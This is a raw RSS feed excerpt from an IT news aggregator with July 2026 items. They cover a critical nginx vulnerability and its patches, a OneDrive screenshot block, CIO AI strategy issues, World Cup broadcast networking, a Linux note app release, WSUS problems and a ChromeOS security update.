    “It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.

    Who has the most to lose?

    The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.

    These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.

    Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)

    Cupertino rising

    What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes.

    You can follow me on social media! Join me on BlueSky,  LinkedIn, Mastodon and subscribe to my daily Apple-related news summaries at The Core.

    ]]>         <![CDATA[CVE-2026-42533: Critical NGINX Bug Could Turn HTTP Requests Into Server Takeovers]]> https://tsecurity.de/de/3681032/it-security-nachrichten/cve-2026-42533-critical-nginx-bug-could-turn-http-requests-into-server-takeovers/ https://tsecurity.de/de/3681032/it-security-nachrichten/cve-2026-42533-critical-nginx-bug-could-turn-http-requests-into-server-takeovers/ Mon, 20 Jul 2026 13:39:32 +0200 📰 IT Security Nachrichten tsecurity.de F5 fixes critical nginx flaw CVE-2026-42533 that can crash servers and, in some cases, allow remote code execution through crafted HTTP requests. F5 released patches for a critical nginx vulnerability, tracked as CVE-2026-42533 (CVSS score of 9.2), that can allow


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    The post CVE-2026-42533: Critical NGINX Bug Could Turn HTTP Requests Into Server Takeovers appeared first on IT Security News.

    ]]>         <![CDATA[CVE-2026-42533: Critical NGINX Bug Could Turn HTTP Requests Into Server Takeovers]]> https://tsecurity.de/de/3680916/it-security-nachrichten/cve-2026-42533-critical-nginx-bug-could-turn-http-requests-into-server-takeovers/ https://tsecurity.de/de/3680916/it-security-nachrichten/cve-2026-42533-critical-nginx-bug-could-turn-http-requests-into-server-takeovers/ Mon, 20 Jul 2026 12:54:38 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Microsoft verhindert das Erstellen von Screenshots vertraulicher Dateien in OneDrive]]> https://tsecurity.de/de/3680797/it-nachrichten/microsoft-verhindert-das-erstellen-von-screenshots-vertraulicher-dateien-in-onedrive/ https://tsecurity.de/de/3680797/it-nachrichten/microsoft-verhindert-das-erstellen-von-screenshots-vertraulicher-dateien-in-onedrive/ Mon, 20 Jul 2026 12:03:53 +0200 📰 IT Nachrichten tsecurity.de

    Microsoft fĂŒhrt derzeit eine neue Sicherheitsfunktion in OneDrive ein, die Nutzer daran hindert, Screenshots von PDF-Dateien zu erstellen, die als „vertraulich“ gekennzeichnet sind. Wenn die Richtlinie „Do Not Allow Screen Capture in OneDrive and SharePoint“ aktiviert ist, werden Screenshots vollstĂ€ndig blockiert oder das Bild wird durch ein schwarzes Rechteck ersetzt.

    Die Funktion gilt derzeit jedoch nur in Microsoft Edge, berichtet Windows Latest. Dass die Funktion auf den firmeneigenen Browser beschrÀnkt ist, liegt laut Microsoft daran, dass man in anderen Browsern noch nicht denselben konsequenten Schutz gewÀhrleisten kann.

    Die neue Funktion wird voraussichtlich gegen Ende August 2026 allgemein verfĂŒgbar sein. Die UnterstĂŒtzung weiterer Plattformen und Anwendungen könnte zu einem spĂ€teren Zeitpunkt folgen.

    Wichtig: Um zu gewĂ€hrleisten, dass Ihre vertraulichen Dokumente wirklich geschĂŒtzt sind, sollten Sie auch die Möglichkeit deaktivieren, diese einfach so herunterzuladen. Ansonsten hilft der Screenshot-Schutz nur relativ wenig.

    Die besten Tricks zu Microsoft Onedrive, die Sie kennen sollten

    ]]>         <![CDATA[7 issues impacting AI strategies — and how CIOs should respond]]> https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/ https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/ Mon, 20 Jul 2026 12:03:29 +0200 📰 IT Nachrichten tsecurity.de

    CIOs remain at the forefront of setting the course for AI adoption in their organizations.

    In fact, 82% of CIO respondents to CIO.com’s 2026 State of the CIO survey are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI adoption efforts, with business units aligning their strategies accordingly.

    As such, CIOs are leading or co-leading AI strategies at the majority of organizations, with many also playing a key role in tackling AI change management. They report encountering numerous factors — from heightened pressure to deliver ROI to challenges with trust in AI outputs — as they formulate and shape those AI strategies.

    Here’s a look at seven notable issues impacting AI strategies in 2026.

    1. Increasing pressure to show ROI for AI investments

    The era of AI experimentation and pilots is over. Boards and CEOs are making it clear they want to see quantifiable returns from their AI investments. Kyndryl’s 2025 Readiness Report, for example, found that 61% of senior business leaders and decision-makers felt more pressure to prove ROI on their AI investments than they had the prior year.

    “The era of funding AI is shifting from everything all-in to every project has to have line of sight to some financial value at the end of the day. It’s moving from the experimentation phase to expecting measurable outcomes,” says Jim Piazza, chief AI officer at IT services firm Ensono.

    As a result, Piazza says companies, both his own as well as those he advises, are more diligent about building business cases that estimate implementation costs, AI run costs, and expected benefits so they’re primed to pursue AI initiatives that will deliver ROI.

    That strategy seems to be paying off. According to the May 2026 AI Momentum Survey from Dun & Bradstreet, 67% of 10,000 businesses surveyed reported seeing early signs or pockets of ROI, 20% reported multiple projects delivering ROI, and 10% reported strong ROI.

    That’s a big jump from earlier surveys that found few AI initiatives providing returns. For example, PwC’s 2026 Global CEO Survey, released in January, found that 56% of CEOs saw no significant financial benefit from AI to date, while The GenAI Divide: State of AI in Business 2025 from MIT found that 95% of enterprise generative AI projects failed to show measurable financial returns within six months.

    2. The need to harness AI for transformation

    The No. 1 concern for CEOs this year, according to PwC’s 2026 Global CEO Survey, is whether they’re transforming fast enough to keep pace with technological change, cited by 42% of respondents as their top concern. And 68% of the 1,120-plus C-suite executives surveyed by KPMG for its May 2026 Adaptability Pulse Survey said they feel pressure to accelerate innovation.

    That in turn is influencing AI strategies.

    Steve Santana, CIO and head of AI at ETS, the world’s largest private nonprofit educational testing and assessment organization, says his company is “pivoting from working on enterprise efficiencies using AI to figuring out how to deliver assessments,” adding that “AI will enable innovation we couldn’t get to before.”

    For ETS, that means reimagining how the company delivers its core products, “finding areas to do something you couldn’t do before because it was too big or too daunting,” such as having more interactive tests and assessments at scale, Santana says.

    And while Santana believes organizations can’t move too slowly, he predicts innovation will trump speed. “The winners and losers in the AI race aren’t always going to be the ones that got there the fastest,” he says, observing that those who move too fast “can drive behaviors that are very dangerous.”

    He adds, “I’m not advocating for moving slow; I’m advocating moving at pace. It’s better to be measured in your approach.”

    3. The black box of AI costs

    CIOs are struggling to calculate the full cost to run AI for their use cases, with estimates coming in well under what their actual bills will be. Consider the figures from research firm IDC, which found that global 1,000 companies will underestimate their AI infrastructure costs by 30% through 2027.

    That makes identifying which AI use cases will produce quantifiable value much more challenging, which in turn makes determining a winning AI strategy harder to do. CIOs, however, say they can’t let that stop them from advising their C-suite colleagues on which AI use cases are likely to be winners.

    “You can’t sit on the sidelines and wait and watch. The general conclusion is you’re going to lose if you do that, so you have to play even though the cost dynamics are not really well understood,” says Mohan Sankararaman, executive vice president and CIO of First Horizon Bank.

    Sankararaman says he’s devising his AI strategy with that uncertainty in mind.

    “It’s up to me and my team to figure out how to optimize our use for costs, just like we did with cloud,” he says, noting that part of his strategy is to avoid infrastructure choices that could result in AI vendor lock-in and, thus, getting stuck with that vendor’s bills.

    “IT has to get the engineering right and not overengineer solutions to make sure the AI strategy we pursue delivers returns,” he adds.

    Researchers recommend such approaches. In a blog highlighting the IDC research, Jevin Jensen, research vice president for infrastructure and operations at IDC, wrote that “organizations successfully navigating this challenge are ones that effectively share a common trait: they’ve reimagined FinOps as a strategic team, not an after-the-fact accounting exercise. They treat AI economics as a living ecosystem — measurable, visible, and continuously optimized.”

    4. Aligning use cases to business strategy

    There are an overwhelming number of potential use cases, so execs must pick and prioritize those that will help them achieve their strategic goals.

    That’s easier said than done.

    Enterprise Strategy Group’s 2025 report on generative AI’s ROI surveyed 1,900 business and IT leaders across nine countries and found that 71% had more potential use cases that they want to pursue than they can possibly fund; 54% said selecting the right use cases based on objective measures like cost, business impact, and the organization’s ability to execute is hard; and 71% acknowledged that selecting the wrong use cases will hurt their company’s market position. Furthermore, 59% of respondents said advocating for the wrong use cases could cost them their job.

    Longtime CIO adviser Larry Wolff says challenges picking and prioritizing use cases stems in part from boards and CEOs commanding their teams “to do AI.” Such directives, he explains, puts the technology first and business goals second — something CIOs have been trying to avoid for years.

    “There should not be a technology strategy. There should be a business strategy with a technology component. The same applies to AI,” says Wolff, now CIO of Preferred Travel Group. “We need to talk about business challenges and opportunities first and then talk about how AI can solve for those.”

    5. Human readiness to use AI

    Even as Sankararaman and his executive colleagues build the bank’s AI strategy, he still sees the need to improve the organization’s understanding of the technology. “Everybody has a basic understanding, but AI fluency isn’t where it should be,” he says, noting that a subpar level of fluency “can hamper creativity.”

    “If the strategy is to become top notch in, say, customer experience, we have to determine how to achieve that. And if you start building the road map but you don’t know what the technology can do, then the strategy will be limited,” he adds.

    Sankararaman considers running AI boot camps for executives and their direct reports to improve their knowledge of AI and its transformative capabilities. “Not everyone needs to be an AI expert, but we still need to have a level of understanding of, say, what a large language model is and how to apply it and other elementary things like that. The hope is that when we do talk about strategy for business outcomes, everyone will know how to leverage AI,” he explains.

    According to Jamaal Justice, principal for people consulting at EY, concern about AI fluency is widespread.

    “One of the biggest challenges that impacts the success of an AI strategy is human readiness,” Justice says. He points to EY research showing “that while 88% of employees use AI at work, only 28% of organizations have positioned employees to achieve transformative business impact from AI. This underscores that the challenge is not access, but adoption and readiness.”

    Like Sankararaman, Justice acknowledges that it’s OK to have a spectrum of knowledge and use among workers. But success with AI “depends on aligning mindsets, skillsets, and toolsets, by creating the right conditions for both workforce readiness and effective technology use,” he says.

    “Organizations that integrate human capability with technology and fundamentally rearchitect work using a human-centered and value-oriented approach will unlock value at scale,” he adds. “Those that don’t risk fragmented adoption and limited returns.”

    EY research confirms as much, finding that productivity gains can fall by more than 40% when AI is deployed on weak talent foundations, including poor learning, culture, and incentives.

    6. Data readiness for AI use

    Data readiness is also lagging at most organizations, further hindering AI ambitions.

    According to a 2026 report from Cloudera and Harvard Business Review Analytic Services titled Taming the Complexity of AI Data Readiness, 73% of surveyed business leaders said their organization struggles with AI data preparation. The top obstacles are siloed data and difficulty integrating data sources (56%), lack of a clear data strategy (44%), data quality and bias issues (41%), and regulatory constraints on data use (34%).

    To ensure AI success, “a radical reshaping of the data landscape is needed,” says Steve Prewitt, who as chief data and AI officer at IT services firm Genpact advises clients on AI deployments for their own organizations.

    That reshaping is more critical today as agentic AI becomes more prevalent, Prewitt observes. Organizations need high-quality well-governed data to enable and trust AI agents to make real-time decisions autonomously. Otherwise, organizations either can’t move forward with deploying agents or, if they do, risk triggering cascading failures.

    7. Engendering trust

    ETS CIO Santana and his colleagues recognize AI’s potential to deliver faulty outputs, whether from problematic data, drift, or other problems. Everyday users recognize that potential, too.

    That’s why the issue of trust has a significant impact on the nonprofit’s AI strategy. Companies such as ETS that provide critical, high-stakes services know they must earn trust by building AI use cases that can consistently and demonstratively deliver accurate outputs, Santana says.

    ETS’s strategy is to highlight where AI is making high-stakes decisions and to detail what steps the company must take to ensure that it consistently delivers accurate, trustworthy outputs and that it conforms to established standards and requirements, he says.

    “You don’t want someone to feel the results may be wrong if you’re using AI to assess a person and their future depends on it,” he notes. “You want to remove any doubts [in such AI use cases], and the strategy should ensure that. The strategy should include all the work needed to have that trust.”

    ]]>         <![CDATA[OneDrive will block screenshots of sensitive PDFs, but only in Microsoft Edge (of course)]]> https://tsecurity.de/de/3680336/windows-tipps/onedrive-will-block-screenshots-of-sensitive-pdfs-but-only-in-microsoft-edge-of-course/ https://tsecurity.de/de/3680336/windows-tipps/onedrive-will-block-screenshots-of-sensitive-pdfs-but-only-in-microsoft-edge-of-course/ Mon, 20 Jul 2026 07:58:10 +0200 đŸȘŸ Windows Tipps tsecurity.de OneDrive is rolling out a new feature that prevents anyone from capturing screenshots of PDFs labeled "sensitive."

    The post OneDrive will block screenshots of sensitive PDFs, but only in Microsoft Edge (of course) appeared first on Windows Latest

    ]]>         <![CDATA[15-Year-Old NGINX Vulnerability Lets Attackers Crash Workers and Achieve Remote Code Execution]]> https://tsecurity.de/de/3680291/it-security-nachrichten/15-year-old-nginx-vulnerability-lets-attackers-crash-workers-and-achieve-remote-code-execution/ https://tsecurity.de/de/3680291/it-security-nachrichten/15-year-old-nginx-vulnerability-lets-attackers-crash-workers-and-achieve-remote-code-execution/ Mon, 20 Jul 2026 07:54:07 +0200 📰 IT Security Nachrichten tsecurity.de A newly disclosed flaw tracked as CVE-2026-42533 affects nginx’s script engine and has been silently exploitable since March 2011, when the map directive gained regex support. Security researcher Stan Shaw reported the bug to F5 SIRT, which coordinated a fix


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    ]]>         <![CDATA[Android Auto: Google Maps Navigation endlich mit Tacho! Großes Update zeigt eure aktuelle Geschwindigkeit]]> https://tsecurity.de/de/3680238/it-nachrichten/android-auto-google-maps-navigation-endlich-mit-tacho-grosses-update-zeigt-eure-aktuelle-geschwindigkeit/ https://tsecurity.de/de/3680238/it-nachrichten/android-auto-google-maps-navigation-endlich-mit-tacho-grosses-update-zeigt-eure-aktuelle-geschwindigkeit/ Mon, 20 Jul 2026 06:34:26 +0200 📰 IT Nachrichten tsecurity.de android auto new design
    Die Google Maps Navigation ist fĂŒr viele Nutzer von Android Auto der absolute Standard, um sich auf dem besten Weg zum Ziel leiten zu lassen. Jetzt wird offenbar ein Update ausgerollt, auf das viele Nutzer seit Jahren warten: Die Navigation kann neben der geltenden Geschwindigkeitsbegrenzung nun auch einen Tacho mit der aktuellen Geschwindigkeit zeigen.

    Mehr lesen: Android Auto: Google Maps Navigation endlich mit Tacho! Großes Update zeigt eure aktuelle Geschwindigkeit

    GoogleWatchBlog als bevorzugte Quelle bei Google hinzufĂŒgen

    Keine Google-News mehr verpassen: GoogleWatchBlog bei Google News abonnieren

    vgwort

    Der Beitrag Android Auto: Google Maps Navigation endlich mit Tacho! Großes Update zeigt eure aktuelle Geschwindigkeit erschien zuerst auf GoogleWatchBlog.

    ]]>         <![CDATA[15-Year-Old NGINX Vulnerability Lets Attackers Crash Workers and Achieve Remote Code Execution]]> https://tsecurity.de/de/3680214/it-security-nachrichten/15-year-old-nginx-vulnerability-lets-attackers-crash-workers-and-achieve-remote-code-execution/ https://tsecurity.de/de/3680214/it-security-nachrichten/15-year-old-nginx-vulnerability-lets-attackers-crash-workers-and-achieve-remote-code-execution/ Mon, 20 Jul 2026 05:54:21 +0200 📰 IT Security Nachrichten tsecurity.de A newly disclosed flaw tracked as CVE-2026-42533 affects nginx’s script engine and has been silently exploitable since March 2011, when the map directive gained regex support. Security researcher Stan Shaw reported the bug to F5 SIRT, which coordinated a fix released in nginx 1.30.4 (stable) and 1.31.3 (mainline), along with corresponding patches for NGINX Plus [
]

    The post 15-Year-Old NGINX Vulnerability Lets Attackers Crash Workers and Achieve Remote Code Execution appeared first on Cyber Security News.

    ]]>         <![CDATA[Is it worth learning and switching to Linux as an os for college?]]> https://tsecurity.de/de/3680109/linux-tipps/is-it-worth-learning-and-switching-to-linux-as-an-os-for-college/ https://tsecurity.de/de/3680109/linux-tipps/is-it-worth-learning-and-switching-to-linux-as-an-os-for-college/ Mon, 20 Jul 2026 01:09:15 +0200 🐧 Linux Tipps tsecurity.de

    I'm an incoming accountancy student, I'm not really sure what tools people use besides spreadsheets and stuff, what I'm asking basically is if I can use the same tools or some alternative that still does the job for my course, I can't really give a complete list of the things I need but I want a general guideline for the things I can open and use. fyi I'm not really that tech savvy so I'll maybe go for ubuntu or mint, so I can't really go making my own stuff, at least if there are no tutorials already up; part of the reason for the switch is that my laptop is pretty old so it runs windows 11 pretty slow, even after debloating so if I have to stay on windows I want to know that it's because it's necessary.

    submitted by /u/ilikecookedchicken
    [link] [comments]]]>         <![CDATA[IT Security News Daily Summary 2026-07-19]]> https://tsecurity.de/de/3680060/it-security-nachrichten/it-security-news-daily-summary-2026-07-19/ https://tsecurity.de/de/3680060/it-security-nachrichten/it-security-news-daily-summary-2026-07-19/ Mon, 20 Jul 2026 00:22:58 +0200 📰 IT Security Nachrichten tsecurity.de 21 posts were published in the last hour 21:40 : Critical NGINX Vulnerability Can Crash Workers and May Allow Remote Code Execution 16:34 : Connecting AI agents to outside services explodes the risk radius 16:34 : Hidden Wi‑Fi Killers: Everyday


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    ]]>         <![CDATA[IT Security News Weekly Summary 29]]> https://tsecurity.de/de/3680059/it-security-nachrichten/it-security-news-weekly-summary-29/ https://tsecurity.de/de/3680059/it-security-nachrichten/it-security-news-weekly-summary-29/ Mon, 20 Jul 2026 00:22:57 +0200 📰 IT Security Nachrichten tsecurity.de 210 posts were published in the last hour 21:55 : IT Security News Daily Summary 2026-07-19 21:40 : Critical NGINX Vulnerability Can Crash Workers and May Allow Remote Code Execution 16:34 : Connecting AI agents to outside services explodes the


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    ]]>         <![CDATA[IT Security News Hourly Summary 2026-07-20 00h : 3 posts]]> https://tsecurity.de/de/3680058/it-security-nachrichten/it-security-news-hourly-summary-2026-07-20-00h-3-posts/ https://tsecurity.de/de/3680058/it-security-nachrichten/it-security-news-hourly-summary-2026-07-20-00h-3-posts/ Mon, 20 Jul 2026 00:22:55 +0200 📰 IT Security Nachrichten tsecurity.de 3 posts were published in the last hour 21:58 : IT Security News Weekly Summary 29 21:55 : IT Security News Daily Summary 2026-07-19 21:40 : Critical NGINX Vulnerability Can Crash Workers and May Allow Remote Code Execution

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    The post IT Security News Hourly Summary 2026-07-20 00h : 3 posts appeared first on IT Security News.

    ]]>         <![CDATA[Critical NGINX Vulnerability Can Crash Workers and May Allow Remote Code Execution]]> https://tsecurity.de/de/3680033/it-security-nachrichten/critical-nginx-vulnerability-can-crash-workers-and-may-allow-remote-code-execution/ https://tsecurity.de/de/3680033/it-security-nachrichten/critical-nginx-vulnerability-can-crash-workers-and-may-allow-remote-code-execution/ Sun, 19 Jul 2026 23:52:54 +0200 📰 IT Security Nachrichten tsecurity.de F5 has shipped fixes for a critical nginx flaw that lets a remote, unauthenticated attacker trigger a heap buffer overflow in the worker process with crafted HTTP requests. CVE-2026-42533 was patched on July 15 in nginx 1.30.4 (stable) and 1.31.3


    Read more →

    The post Critical NGINX Vulnerability Can Crash Workers and May Allow Remote Code Execution appeared first on IT Security News.

    ]]>         <![CDATA[Critical NGINX Vulnerability Can Crash Workers and May Allow Remote Code Execution]]> https://tsecurity.de/de/3680016/it-security-nachrichten/critical-nginx-vulnerability-can-crash-workers-and-may-allow-remote-code-execution/ https://tsecurity.de/de/3680016/it-security-nachrichten/critical-nginx-vulnerability-can-crash-workers-and-may-allow-remote-code-execution/ Sun, 19 Jul 2026 23:35:18 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA["Don't set fire to the singer!"; Making a video jacket for a world concert tour. (emf2026)]]> https://tsecurity.de/de/3679810/it-security-video/dont-set-fire-to-the-singer-making-a-video-jacket-for-a-world-concert-tour-emf2026/ https://tsecurity.de/de/3679810/it-security-video/dont-set-fire-to-the-singer-making-a-video-jacket-for-a-world-concert-tour-emf2026/ Sun, 19 Jul 2026 20:02:07 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA["Don't set fire to the singer!"; Making a video jacket for a world concert tour. (emf2026)]]> https://tsecurity.de/de/3679795/it-security-video/dont-set-fire-to-the-singer-making-a-video-jacket-for-a-world-concert-tour-emf2026/ https://tsecurity.de/de/3679795/it-security-video/dont-set-fire-to-the-singer-making-a-video-jacket-for-a-world-concert-tour-emf2026/ Sun, 19 Jul 2026 19:38:30 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[this is where the World Cup is ACTUALLY made]]> https://tsecurity.de/de/3679791/it-security-video/this-is-where-the-world-cup-is-actually-made/ https://tsecurity.de/de/3679791/it-security-video/this-is-where-the-world-cup-is-actually-made/ Sun, 19 Jul 2026 19:38:24 +0200 đŸŽ„ IT Security Video tsecurity.de Author: NetworkChuck - Bewertung: 201x - Views:1712

    Build your next random idea on a Hostinger: https://hostinger.com/chuckfifa

    I spent two days inside the FIFA World Cup International Broadcast Center (IBC), the temporary network that carries every camera, every replay, every goal from 16 stadiums, and the HBS team even handed me a packet capture of a real match. So we open it in Wireshark: uncompressed ST 2110 video, 150,000 multicast flows, and a failover trick that will make any network engineer smile.

    🎓 I asked the crew HOURS of questions that didn't fit in this video, the full behind-the-scenes interviews are on NetworkChuck Academy: https://ntck-ac.co/fifa?utm_source=youtube&utm_medium=video&utm_campaign=fifa_world_cup_2026&utm_content=fifa_main_tour





    RESOURCES / LINKS:
    🎼 Play the Backrooms of the IBC (built on a Hostinger VPS with a Hermes agent): https://srv732026.hstgr.cloud
    📚 THE SIGNAL — the World Cup networking comic I made for my kids: https://srv732026.hstgr.cloud/comic/
    đŸ› ïž Wireshark (decode packets yourself): https://www.wireshark.org
    🌐 Official IBC Tours site: https://ibctours.tv
    đŸ“ș The Hermes video (the AI agent that built the game): https://www.youtube.com/watch?v=QQEgIo4Juxg

    TIMESTAMPS:
    0:00 - The World Cup is made in Dallas
    1:29 - Following one match: Boston → the IBC → the world
    3:06 - How a match gets "made" 1,500 miles from the stadium
    4:32 - The fiber (and the red/blue trick)
    7:08 - Multicast Martin and 150,000 flows
    11:52 - The thing I built at 1AM on a Hostinger VPS
    14:10 - The people who make the World Cup
    16:07 - Decoding a REAL World Cup match in Wireshark
    21:45 - Addie's question: the sound of the ball
    23:20 - The stadium, the backup plan, and the teardown
    29:30 - A prayer for the stressed

    FEATURING (huge thanks to the crew who make the World Cup — and this video — possible):
    đŸ‘€ Christoph Barbet — Head of Broadcast Infrastructure, HBS (Host Broadcast Services)
    đŸ‘€ "Multicast Martin" — broadcast SDN / TFC
    đŸ‘€ Alex — Master Control Room Supervisor
    đŸ‘€ Wolfgang Herman — IBC Communications Engineer
    đŸ‘€ Mick — Audio Listener
    đŸ‘€ Anthony & Colin — Layer 1 / Broadcast Support
    đŸ‘€ Steve — Control Systems & Dashboards
    đŸ‘€ Gavin — Stadium Manager, AT&T Stadium

    **Sponsored by Hostinger

    SUPPORT NETWORKCHUCK:
    ☕☕ COFFEE and MERCH: https://ntck.co/coffee

    READY TO LEARN??
    đŸ”„đŸ”„Join the NetworkChuck Academy!: https://ntck.co/NCAcademy
    📚 CCNA Course: https://ntck.co/ccna

    FOLLOW ME EVERYWHERE:
    Instagram: https://www.instagram.com/networkchuck/
    X/Twitter: https://x.com/networkchuck
    Facebook: https://www.facebook.com/NetworkChuck/
    Join the Discord server: https://ntck.co/discord

    Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you. #sponsored

    #worldcup #networking #networkchuck

    ]]>         <![CDATA[Windows 11: Microsoft stoppt Treiber-Crash bei Dell-Laptops mit Notfall-Patch]]> https://tsecurity.de/de/3679735/windows-server/windows-11-microsoft-stoppt-treiber-crash-bei-dell-laptops-mit-notfall-patch/ https://tsecurity.de/de/3679735/windows-server/windows-11-microsoft-stoppt-treiber-crash-bei-dell-laptops-mit-notfall-patch/ Sun, 19 Jul 2026 18:01:42 +0200 đŸȘŸ Windows Server tsecurity.de Windows Server Update Services (WSUS). Der Dienst, der ...]]> <![CDATA[SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 106]]> https://tsecurity.de/de/3679692/hacking/security-affairs-malware-newsletter-round-106/ https://tsecurity.de/de/3679692/hacking/security-affairs-malware-newsletter-round-106/ Sun, 19 Jul 2026 17:37:52 +0200 đŸ•”ïž Hacking tsecurity.de <![CDATA[SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 106]]> https://tsecurity.de/de/3679690/it-security-nachrichten/security-affairs-malware-newsletter-round-106/ https://tsecurity.de/de/3679690/it-security-nachrichten/security-affairs-malware-newsletter-round-106/ Sun, 19 Jul 2026 17:37:19 +0200 📰 IT Security Nachrichten tsecurity.de Security Affairs Malware newsletter includes a collection of the best articles and research on malware in the international landscape Malware Newsletter CrashStealer: C++ macOS infostealer posing as crash reporter Lucide Proxy: Turning Student Web Proxies into DDoS Bots       AsyncAPI


    Read more →

    The post SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 106 appeared first on IT Security News.

    ]]>         <![CDATA[Former Richard Stallman Colleague Now Argues for Open AI Models Too]]> https://tsecurity.de/de/3679626/it-security-nachrichten/former-richard-stallman-colleague-now-argues-for-open-ai-models-too/ https://tsecurity.de/de/3679626/it-security-nachrichten/former-richard-stallman-colleague-now-argues-for-open-ai-models-too/ Sun, 19 Jul 2026 16:52:33 +0200 📰 IT Security Nachrichten tsecurity.de

    Read more of this story at Slashdot.

    ]]>         <![CDATA[[OC] Whisp 1.3.8 released — Added "Slate Mode" for absolute minimalism and official NixOS support.]]> https://tsecurity.de/de/3679266/linux-tipps/oc-whisp-138-released-added-slate-mode-for-absolute-minimalism-and-official-nixos-support/ https://tsecurity.de/de/3679266/linux-tipps/oc-whisp-138-released-added-slate-mode-for-absolute-minimalism-and-official-nixos-support/ Sun, 19 Jul 2026 11:54:45 +0200 🐧 Linux Tipps tsecurity.de

    Hello everyone! A while back, I shared Whisp—my gesture-driven, anti-folder note-taking app for GNOME. The feedback from this community has been incredible, and Whisp has now crossed over 6,000 downloads!

    Today, I’m super excited to release Whisp v1.3.8, focusing heavily on minimalism and declarative setups.

    What's New in v1.3.8:

    Slate Mode: You can now press Alt + S (or set it as your default startup behavior) to instantly hide all top bars and UI elements. It turns Whisp into a perfectly clean, floating piece of text on your desktop for ultimate distraction-free writing.

    Official NixOS Support: Thanks to an awesome community contributor, Whisp now includes an official Nix Flake and a Home Manager module! You can natively install and configure your Whisp preferences declaratively via programs.whisp.

    Smarter Line Sorting: Using our ::sort_lines_alpha text expansion will now dynamically split your notes into sections. Markdown headings (# Ideas) are strictly anchored in place, and only the text beneath them is sorted.

    Read the Latest changelogs here

    (A quick personal note: Whisp is completely open-source and I develop it solo between my university classes. If Whisp helps your daily workflow, consider [donating](https://tanaybhomia.github.io/Whisp/donate.html)!) or dropping a star on github

    Links

    Donate: https://tanaybhomia.github.io/Whisp/donate.html

    Download on Flathub: https://flathub.org/apps/io.github.tanaybhomia.Whisp

    GitHub / Source Code: https://github.com/tanaybhomia/Whisp

    Project Website & Docs: https://tanaybhomia.github.io/Whisp

    Manual: [tanaybhomia.github.io/Whisp/manual](https://tanaybhomia.github.io/Whisp/manual.html)

    My Portfolio: https://tanaybhomia.github.io/

    Let me know what you guys think of the new Slate Mode!

    submitted by /u/Baajjii
    [link] [comments]]]>         <![CDATA[Update-Chaos nach Patch-Day: WSUS-Server verweigert Synchronisation]]> https://tsecurity.de/de/3679123/it-security-nachrichten/update-chaos-nach-patch-day-wsus-server-verweigert-synchronisation/ https://tsecurity.de/de/3679123/it-security-nachrichten/update-chaos-nach-patch-day-wsus-server-verweigert-synchronisation/ Sun, 19 Jul 2026 10:22:48 +0200 📰 IT Security Nachrichten tsecurity.de Update, Windows 10, Fehler, Beta, Bug, Entwicklung, Schadsoftware, Fehlerbehebung, Bugs, Absturz, Crash, Error, Bluescreen, Update Fehler, Windows 10 bugs, Windows 10 Bug, Fehlercode, Windows 10 Fehler, Baustelle, Bauarbeiter, Windows 10 Bluescreen, Vorab, Reperatur Nach dem Windows-Patch-Day im Juli 2026 hĂ€ufen sich Berichte ĂŒber Probleme mit dem Windows Server Update Service (WSUS). Microsoft bestĂ€tigte inzwischen eine Störung, die zu langsamen Synchronisierungen und ZeitĂŒberschreitungen fĂŒhrt. (Weiter lesen)]]> <![CDATA[MD Tesla Cybertruck Crash Splits It in Half]]> https://tsecurity.de/de/3679011/it-security-nachrichten/md-tesla-cybertruck-crash-splits-it-in-half/ https://tsecurity.de/de/3679011/it-security-nachrichten/md-tesla-cybertruck-crash-splits-it-in-half/ Sun, 19 Jul 2026 08:51:30 +0200 📰 IT Security Nachrichten tsecurity.de Continue reading MD Tesla Cybertruck Crash Splits It in Half →]]> <![CDATA[CA Tesla Kills One in “Veered” Crash and Fire]]> https://tsecurity.de/de/3679010/it-security-nachrichten/ca-tesla-kills-one-in-veered-crash-and-fire/ https://tsecurity.de/de/3679010/it-security-nachrichten/ca-tesla-kills-one-in-veered-crash-and-fire/ Sun, 19 Jul 2026 08:51:29 +0200 📰 IT Security Nachrichten tsecurity.de Continue reading CA Tesla Kills One in “Veered” Crash and Fire →]]> <![CDATA[Stable Channel Update for ChromeOS / ChromeOS Flex]]> https://tsecurity.de/de/3678844/it-security-nachrichten/stable-channel-update-for-chromeos-chromeos-flex/ https://tsecurity.de/de/3678844/it-security-nachrichten/stable-channel-update-for-chromeos-chromeos-flex/ Sun, 19 Jul 2026 06:07:24 +0200 📰 IT Security Nachrichten tsecurity.de The ChromeOS Stable channel is being updated to OS version 16700.46.0 (Browser version 150.0.7871.150) for most ChromeOS devices.

    If you find new issues, please let us know one of the following ways:
    1. File a bug

    2. Visit our ChromeOS communities

      1. General: Chromebook Help Community

      2. Beta Specific: ChromeOS Beta Help Community

    3. Report an issue or send feedback on Chrome

    4. Interested in switching channels? Find out how.

    ChromeOS Vulnerability Rewards Program Reported Bug Fixes:


    N/A

    Other 3rd Party Security Fixes Included:


    High Fixes  CVE-2026-46242 (Bad epoll) - Linux Local Privilege Escalation 

    Medium Fixes  CVE-2026-49746 [PSP-528][PP-173890][KMD] Dimension Mismatch and Integer Truncation in `PMRDevPhysAddrOSMem` 

    High Fixes   Potential UAF via Profile/Service Desync in shill ConfigureService 

